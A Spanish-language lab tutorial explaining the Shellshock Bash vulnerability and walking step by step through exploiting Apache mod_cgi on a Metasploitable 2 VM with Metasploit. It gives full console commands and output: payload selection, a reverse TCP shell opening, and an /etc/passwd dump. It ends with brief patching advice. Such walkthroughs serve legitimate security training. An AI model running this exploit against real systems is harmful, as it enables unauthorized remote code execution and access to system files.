Uno de los errores más críticos que surgieron en los últimos cinco años fue Shellshock, una vulnerabilidad que permite a los atacantes ejecutar código arbitrario a través del shell Unix Bash de forma remota. Esta vulnerabilidad ha existido desde hace un tiempo, pero debido a la ubicuidad de las máquinas Unix conectadas a la web, Shellshock sigue siendo una amenaza muy real, especialmente para sistemas sin parches.
· Cómo funciona la vulnerabilidad ShellShock
Shellshock apareció por primera vez en septiembre de 2014. Hubo informes de ataques a las pocas horas de la divulgación inicial de la vulnerabilidad, y en los días siguientes, hubo millones de ataques y sondeos provenientes de botnets.
Bash es un shell o intérprete que permite que los comandos se ejecuten en un sistema, generalmente a través de una ventana de texto. Por lo general, es el shell predeterminado en los sistemas Unix, y como tal, se puede encontrar en Linux, macOS y otros varios sabores de Unix. Esta es la razón por la que Shellshock es tan grave: más de la mitad de los servidores web en Internet ejecutan Unix, sin mencionar una gran cantidad de dispositivos IoT e incluso algunos enrutadores/módems.
Esencialmente, Shellshock funciona al permitir que un atacante agregue comandos a las definiciones de funciones en los valores de las variables de entorno. Esto se clasificaría como un tipo de ataque de inyección de código, y dado que Bash procesará estos comandos después de la definición de la función, se puede ejecutar casi cualquier código arbitrario.
Shellshock es en realidad una familia completa de vulnerabilidades que consiste en múltiples vectores de explotación. En esta guía, explotaremos el vector de ataque de script CGI, específicamente, el módulo mod_cgi que es parte del Servidor Apache HTTP.
· Cómo Apache y CGI juegan en esto
Apache es un servidor web multiplataforma de código abierto desarrollado por la Apache Software Foundation. Es robusto con características tales como alojamiento virtual, esquemas de autenticación, SSL y TLS, mensajes de error personalizados y compatibilidad con múltiples lenguajes de programación. Apache también tiene un módulo llamado mod_cgi que maneja la ejecución de scripts de Common Gateway Interface (CGI).
CGI es un protocolo diseñado para permitir que los servidores web ejecuten programas tipo consola directamente en el servidor. Estos programas, conocidos como scripts CGI, a menudo manejan datos de páginas web dinámicas e interactúan a través de HTTP. Se debe designar un nuevo directorio, típicamente llamado cgi-bin o algo similar, para permitir la ejecución de scripts CGI. Cuando un navegador solicita la URL de un archivo específico contenido en el directorio CGI, el servidor ejecuta la secuencia de comandos y la salida se transfiere al navegador.
Cuando se ejecutan scripts CGI, se copia información específica a las variables de entorno. Posteriormente, esa información se pasará a Bash si se invoca, proporcionando así una forma para que un atacante pueda inyectar código malicioso. Afortunadamente, el equipo Rapid7 desarrolló un módulo Metasploit que hace que explotar esta vulnerabilidad sea muy fácil.
No olvide leer: Seguridad Web: explotando la vulnerabilidad Inyección de Comandos para obtener una shell inversa
· Lo que necesitas para este tutorial
Metasploitable 2 es una excelente máquina virtual llena de vulnerabilidades para practicar tus habilidades de hacking. Atacaré eso en una red aislada desde ArchLinux convertida en una distribución de pentesting pero usted puede hacerlo desde cualquier otra distribución convencional como BlackArch, KaLi Linux, Parrot Security, etc. Es posible que desee hacer lo mismo para asegurarse de obtener los mismos resultados cuando lo pruebe por primera vez; entonces puedes pasar a pentesting de máquinas reales.
Paso 1: Configurando el objetivo (target)
Para que este exploit funcione, debe haber un script ejecutable ubicado en el directorio /cgi-bin. Un simple "¡Hola mundo!" servirá para fines de demostración. Navegue a /usr/lib/cgi-bin en la máquina de protostar, cree un script llamado sechacklabs.sh (sudo sechacklabs.sh) y agregue el siguiente contenido:
#! /bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello world!"
Luego, dele permisos de ejecución con:
sudo chmod +x sechacklabs.sh
Podemos verificar que esto esté funcionando correctamente buscando en el archivo en el servidor web:
Paso 2: Preparando el exploit
En su equipo, escriba msfconsole en la terminal. Nos saludan con un banner aleatorio y el símbolo del sistema de Metasploit:
sechacklabs@SecHackLabs ~ ->
➤➤➤➤ ▶ sudo msfconsole
[sudo] password for sechacklabs:
______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| https://metasploit.com |
|______________________________________________________________________________|
=[ metasploit v4.17.1-dev ]
+ -- --=[ 1789 exploits - 1015 auxiliary - 310 post ]
+ -- --=[ 538 payloads - 41 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
Podemos buscar fácilmente exploits utilizando el comando search. Escriba search shellshock, ubique el módulo apache_mod_cgi_bash_env_exec y copie la ubicación:
msf > search shellshock
[!] Module database cache not built yet, using slow search
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
auxiliary/server/dhclient_bash_env 2014-09-24 normal DHCP Client Bash Environment Variable Code Injection (Shellshock)
exploit/linux/http/advantech_switch_bash_env_exec 2015-12-01 excellent Advantech Switch Bash Environment Variable Code Injection (Shellshock)
exploit/linux/http/ipfire_bashbug_exec 2014-09-29 excellent IPFire Bash Environment Variable Injection (Shellshock)
exploit/multi/ftp/pureftpd_bash_env_exec 2014-09-24 excellent Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)
exploit/multi/http/apache_mod_cgi_bash_env_exec 2014-09-24 excellent Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
exploit/multi/http/cups_bash_env_exec 2014-09-24 excellent CUPS Filter Bash Environment Variable Code Injection (Shellshock)
exploit/multi/misc/legend_bot_exec 2015-04-27 excellent Legend Perl IRC Bot Remote Code Execution
exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution
exploit/osx/local/vmware_bash_function_root 2014-09-24 normal OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)
exploit/unix/dhcp/bash_environment 2014-09-24 excellent Dhclient Bash Environment Variable Injection (Shellshock)
exploit/unix/smtp/qmail_bash_env_exec 2014-09-24 normal Qmail SMTP Bash Environment Variable Injection (Shellshock)
Cargue este exploit escribiendo use seguido de la ubicación que hemos copiado previamente. Ahora debería haber un indicador más largo indicando el módulo que está actualmente cargado.
msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >
Escriba options para ver las diferentes opciones de configuración:
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD_MAX_LENGTH 2048 yes CMD max line length
CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HEADER User-Agent yes HTTP header to use
METHOD GET yes HTTP method to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPATH /bin yes Target PATH for binaries used by the CmdStager
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI yes Path to CGI script
TIMEOUT 5 yes HTTP read response timeout (seconds)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Linux x86
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >
Podemos dejar la mayoría de los valores predeterminados, pero necesitaremos configurar el host remoto (la dirección IP del objetivo), el URI de destino para el archivo que colocamos en el directorio /cgi-bin y el host de nosotros que es donde obtendremos la shell (equivale a nuestra IP local), así:
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhost 192.168.0.8
rhost => 192.168.0.8
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/sechacklabs.sh
targeturi => /cgi-bin/sechacklabs.sh
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set lhost 192.168.0.5
lhost => 192.168.0.5
A continuación, tenemos que elegir un payload. Escriba show payloads para ver diferentes payloads e información con respecto a cada una de ellas:
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/custom normal Custom Payload
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
linux/x86/chmod normal Linux Chmod
linux/x86/exec normal Linux Execute Command
linux/x86/meterpreter/bind_ipv6_tcp normal Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid normal Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp normal Linux Mettle x86, Bind TCP Stager
linux/x86/meterpreter/bind_tcp normal Linux Mettle x86, Bind TCP Stager (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid normal Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
linux/x86/meterpreter/reverse_ipv6_tcp normal Linux Mettle x86, Reverse TCP Stager (IPv6)
linux/x86/meterpreter/reverse_nonx_tcp normal Linux Mettle x86, Reverse TCP Stager
linux/x86/meterpreter/reverse_tcp normal Linux Mettle x86, Reverse TCP Stager
linux/x86/meterpreter/reverse_tcp_uuid normal Linux Mettle x86, Reverse TCP Stager
linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP
linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline
linux/x86/read_file normal Linux Read File
linux/x86/shell/bind_ipv6_tcp normal Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid normal Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp normal Linux Command Shell, Bind TCP Stager
linux/x86/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager (Linux x86)
linux/x86/shell/bind_tcp_uuid normal Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
linux/x86/shell/reverse_ipv6_tcp normal Linux Command Shell, Reverse TCP Stager (IPv6)
linux/x86/shell/reverse_nonx_tcp normal Linux Command Shell, Reverse TCP Stager
linux/x86/shell/reverse_tcp normal Linux Command Shell, Reverse TCP Stager
linux/x86/shell/reverse_tcp_uuid normal Linux Command Shell, Reverse TCP Stager
linux/x86/shell_bind_ipv6_tcp normal Linux Command Shell, Bind TCP Inline (IPv6)
linux/x86/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline
linux/x86/shell_bind_tcp_random_port normal Linux Command Shell, Bind TCP Random Port Inline
linux/x86/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline
linux/x86/shell_reverse_tcp_ipv6 normal Linux Command Shell, Reverse TCP Inline (IPv6)
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >
Un shell TCP inverso será suficiente aquí, así que escriba set payload linux/x86/shell/reverse_tcp para habilitarlo.
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >
Escriba options nuevamente y podemos ver la configuración actual para este módulo, incluida la información del payload:
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD_MAX_LENGTH 2048 yes CMD max line length
CVE CVE-2014-6271 yes CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HEADER User-Agent yes HTTP header to use
METHOD GET yes HTTP method to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.0.8 yes The target address
RPATH /bin yes Target PATH for binaries used by the CmdStager
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /cgi-bin/sechacklabs.sh yes Path to CGI script
TIMEOUT 5 yes HTTP read response timeout (seconds)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.05 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x86
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >
· Paso 3: obteniendo la shell
Algunos módulos de Metasploit tienen una pequeña función práctica que verificará si el objetivo es vulnerable. Escriba check, y si el módulo lo permite, se mostrará información sobre si el objetivo es vulnerable o no.
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > check
[+] 192.168.0.8:80 The target is vulnerable.
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) >
Podemos ver que el objetivo es realmente vulnerable, así que use el comando exploit para lanzar el ataque. Se abre una sesión de shell y ahora podemos ejecutar comandos como id, whoami para ver información sobre el usuario actual, cat /etc/passwd para ver información de usuarios y grupos.
msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit
[*] Started reverse TCP handler on 192.168.0.5:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (36 bytes) to 192.168.0.8
[*] Command shell session 1 opened (192.168.0.5:4444 -> 192.168.0.8:45056) at 2018-08-09 09:32:55 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
Las opciones ahora que poseemos una shell inversa son muchas aunque limitadas por los privilegios del usuario actual, así que de ahí en adelante la imaginación de cada quien hace el trabajo.
· Cómo protegerse de las vulnerabilidades Shellshock
La respuesta es simple: parchee su sistema. Si su sistema aún no está parcheado, no tiene a nadie a quien culpar sino a usted mismo. Esta vulnerabilidad ha estado fuera por años, y prácticamente todos los sistemas tienen parches disponibles, así que asegúrese de usarlos.
· Manténgase atento a la Escalación de Privilegios
Hasta ahora, hemos aprendido sobre Shellshock y el vector de ataque CGI, usamos un módulo Metasploit para explotar esta vulnerabilidad y ganamos una shell en nuestro sistema de destino. Pero como se trata de una shell limitada, no podemos hacer mucho. En el siguiente artículo, usaremos un exploit de kernel para escalar privilegios y obtener root.
Síguenos en Facebook, Twitter, unete a nuestra charla en Matrix y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.
Acerca del autor

Especialista en Seguridad Informática. Fundador de Security Hack Labs. Desarrollador de BlackArch Linux y creador de Findomain. Twitter: @edu4rdshl XMPP: edu4rdshl@conversations.im Threema ID: 736WU8VV
- Inicie sesión para enviar comentarios